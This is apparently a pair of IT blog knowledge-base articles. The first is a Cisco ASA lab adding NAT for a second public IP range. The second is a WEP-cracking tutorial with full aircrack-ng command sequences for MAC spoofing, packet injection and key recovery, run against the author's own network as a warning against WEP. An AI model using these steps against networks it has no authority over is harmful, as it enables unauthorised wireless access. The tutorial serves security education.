Cisco ASA 5500 – Adding New ‘Different Range’ Public IP Addresses

KB ID 0001006 

Problem

I got an email at work yesterday;

“Hello Pete
I have asked our ISP to give us two additional real IP addresses so that we can progress the following two projects:

  1. Microsoft DirectAccess
  2. Publishing documents to a web server from our internal DMS.

{ISP Name} have come back and said that they don’t have the next available numbers in our current IP address range, but they do have two other numbers we could have from another range.
Would that cause any problems with regard to the firewall configuration etc.”

I’ve been asked similar questions before and my answer was always, “No let’s get a bigger range and re-ip the public side of the network”. But I was sat next to my usual font of all routing knowledge Steve, so I asked him what he thought. “It will just work, just NAT the traffic on the ASA, and as long as the ISP has set the routing up properly, the ASA will just proxy-arp the new public IP. We’ve done that for a few clients”.

I’ve not done this before, so before I put my neck on the block, I decided to build it in GNS3 to prove the concept.

Solution

1. I’ve already got a few basic Labs built for testing, here is the one I will use for this.

Note the ‘Host’ is really a router (this will become apparent later on). The ASA has a ‘public’ range of 11.11.11.1/29 this gives me 8 IP addresses (6 usable). Let’s assume we have exhausted all of those. and my ISP has given me 111.111.111.0/24 (generous eh!). I want to allocate 111.111.111.111 publicly to my host, (because I have OCD and it looks nice).

When I’ve finished I will test that it has worked by opening a TELNET session to my host from its outside IP 111.111.111.111.

2. Lets make sure that the host can get to the Internet, and then on the ASA observe what public IP address it’s getting.

[box] On the ‘Host’ Router

InsideHost#ping 4.2.2.2

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 4.2.2.2, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 32/164/568 ms
InsideHost#

Observe the results on the ASA

Petes-ASA(config)# show xlate
1 in use, 1 most used
Flags: D – DNS, i – dynamic, r – portmap, s – static, I – identity, T – twice
ICMP PAT from inside:192.168.1.10/0 to outside:11.11.11.6/41745 flags ri idle 0:00:05 timeout 0:00:30

[/box]

3. Connect to the ASA > Allow telnet traffic to the host > Setup a One-to-One static NAT translation to the new public IP.

[box]

 Petes-ASA# configure terminal
Petes-ASA(config)# access-list inbound extended permit tcp any host 192.168.1.10 eq telnet
Petes-ASA(config)# access-group inbound in interface outside
Petes-ASA(config)# object network OBJ-TELNET-HOST
Petes-ASA(config-network-object)# host 192.168.1.10
Petes-ASA(config-network-object)# nat (inside,outside) static 111.111.111.111
Petes-ASA(config-network-object)# exit
Petes-ASA(config)#

[/box]

4. Allow Telnet on the ‘host’ router.

5. At this point in a live environment you are reliant on your ISP to route those IP addresses to you. Here I’m going to achieve the same by adding a route on the ISP Router, and then (so I can connect to host), putting a static route on my laptop.

[box]ISP-Router(config)#ip route 111.111.111.0 255.255.255.0 11.11.11.6[/box]

6. Now let’s clear the ‘translations’ on the ASA, and repeat the test we did earlier, hopefully the public IP of our internal host should have changed.

[box] On the ASA

Petes-ASA(config)# clear xlate

On the ‘Host’ Router

InsideHost#ping 4.2.2.2

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 4.2.2.2, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 32/164/568 ms
InsideHost#

Observe the results on the ASA

Petes-ASA(config)# show xlate
1 in use, 1 most used
Flags: D – DNS, i – dynamic, r – portmap, s – static, I – identity, T – twice
NAT from inside:192.168.1.10 to outside:111.111.111.111
flags s idle 0:00:46 timeout 0:00:00
Petes-ASA(config)#

[/box]

7. Let’s make sure that the correct IP address is being seen, to do that I setup Wireshark to sniff the traffic on the ISP Routers 11.11.11.1 interface.

8. Then if I ping 4.2.2.2 from the internal host, and view the traffic capture, I should see the traffic coming from 111.111.111.111 (NOT 11.11.11.6).

9. Finally I should now be able to telnet from my laptop to the new public IP.

 

Related Articles, References, Credits, or External Links

NA

 

Hacking Wireless WEP Keys with BackTrack and Aircrack-ng

KB ID 0000633

Problem

Disclaimer: This article is for educational purposes only. Having the ability to pick a lock does not make you a thief. The main thing to take away from this article is, “DONT secure your wireless network with WEP“.

WEP, has been around for a long time now, its limited to an alpha numeric password, 0-9 and A-F (because its in hexadecimal), the password can be 40, 64 or 126 bits long. The flaw is, each bit of information is encrypted with the SAME key, If you can get enough packets (24 bit long packets called IV’s), you can mathematically work out what the key is.

Solution

To do this I’m going to use BackTrack 5 (R1) installed in a Virtual machine, the Network card I’m using is an ALFA AWUS036NH USB wireless card, I’m using this card because the Ralink RT2878/3078 chipset that’s inside it just works with airmon-ng, without the need to patch drivers or mess about.

Note: If your wireless card does not work please do not email me go the the Aircrack-ng forums.

1. After I’ve plugged the wireless card into the host machine, I’m going to present it to the virtual machine. VM > Removable Devices > Ralink 802.11 n WLAN > Connect.

2. To make sure BackTrack can see the card issue the following command;

[box] airmon-ng [/box]

Take note of the interface name (in the example below it’s wlan0). Then to change the MAC address of the card we are going to ‘spoof’ a false MAC address of 00:11:22:33:44:55 with the following commands. (Note: Your interface may not be wlan0, change accordingly);

[box]airmon-ng stop wlan0
ifconfig wlan0 down
macchanger –mac 00:11:22:33:44:55 wlan0
airmon-ng start wlan[/box]

Then to scan and see what networks the card can see issue the following command

[box] airodump-ng wlan0 [/box]

3. Airodump will continue to scan until you press CTRL+C. When you see the target network, take a note of its BSSID and its channel number. My target below is called PeteNetLive and the bssid is 00:16:B6:B4:66:46 and its on channel 1).

4. Now scan the target network with the following command;

[box]SYNTAX
airodump-ng -c (channel) -w (file name) –bssid (bssid) (interface)
EXAMPLE
airodump-ng -c 1 -w PeteNetLive –bssid 00:16:B6:B4:66:46 wlan0[/box]

5. Leave that running, and open a new terminal window, execute the following command in the new window;

[box]SYNTAX
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)
EXAMPLE
aireplay-ng -1 0 -a 00:16:B6:B4:66:46 -h 00:11:22:33:44:55 -e PeteNetLive wlan0[/box]

YOU NEED it to say ‘Authentication successful‘.

6. To throw some traffic across the network issue the following command;

[box]SYNTAX
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)
EXAMPLE
aireplay-ng -3 -b 00:16:B6:B4:66:46 -h 00:11:22:33:44:55 wlan0[/box]

Note: ‘-3’ denotes a client attack, if your data packets do not rise (you will understand in a minute), then try with ‘-4’ instead.

7. Back in the original terminal window the Data count should start to rise, do nothing further until its over 10,000 (that’s 10,000 IVs captured).

Reality Check!: In most tutorials (including my video above) this is a nice painless process, it relies on there being a decent quality signal, the router/access point not crashing because you are ‘battering’ it, and there being lots of healthy traffic around. You can get enough data packets without the ‘aireplay-ng -3’ command, but it will take a lot longer. You can stop and start the forcing of traffic by pressing CTRL+C, and then executing the command again (it just appends the data to the capture file). In this example I used about five attempts (the router froze and needed to be rebooted). So this is not a quick process. Someone passively attacking your wireless will need lot of patience. This took about an hour and I was right next to the router, and I rebooted it every time it locked up, (which I saw because the Data figure suddenly stopped rising).

8. In the example below I’m now over 10,000 IV’s captured, and I’ve stopped forcing traffic (CTRL+C).

9. By default your capture will be in your home folder, and it will be called filename-01.cap (where filename is the name you used in step 4).

10. To crack the key execute the following command;

[box]SYNTAX
aircrack-ng -b (bssid) (file name-01.cap)
EXAMPLE
aircrack-ng -b 00:16:B6:B4:66:46 PeteNetLive-01.cap[/box]

11. It will display the WEP key with colons in it, remove them,

DC:B4:2F:63:C9 = DCB42F63C9 <-Heres the WEP key!

12. And to prove it’s correct.

13. And to prove I didn’t just print a sticker, heres the web console of the router.

Related Articles, References, Credits, or External Links

Installing the BackTrack Linux VMware Virtual Machine

Windows – Export / Recover WEP and WPA Wireless Keys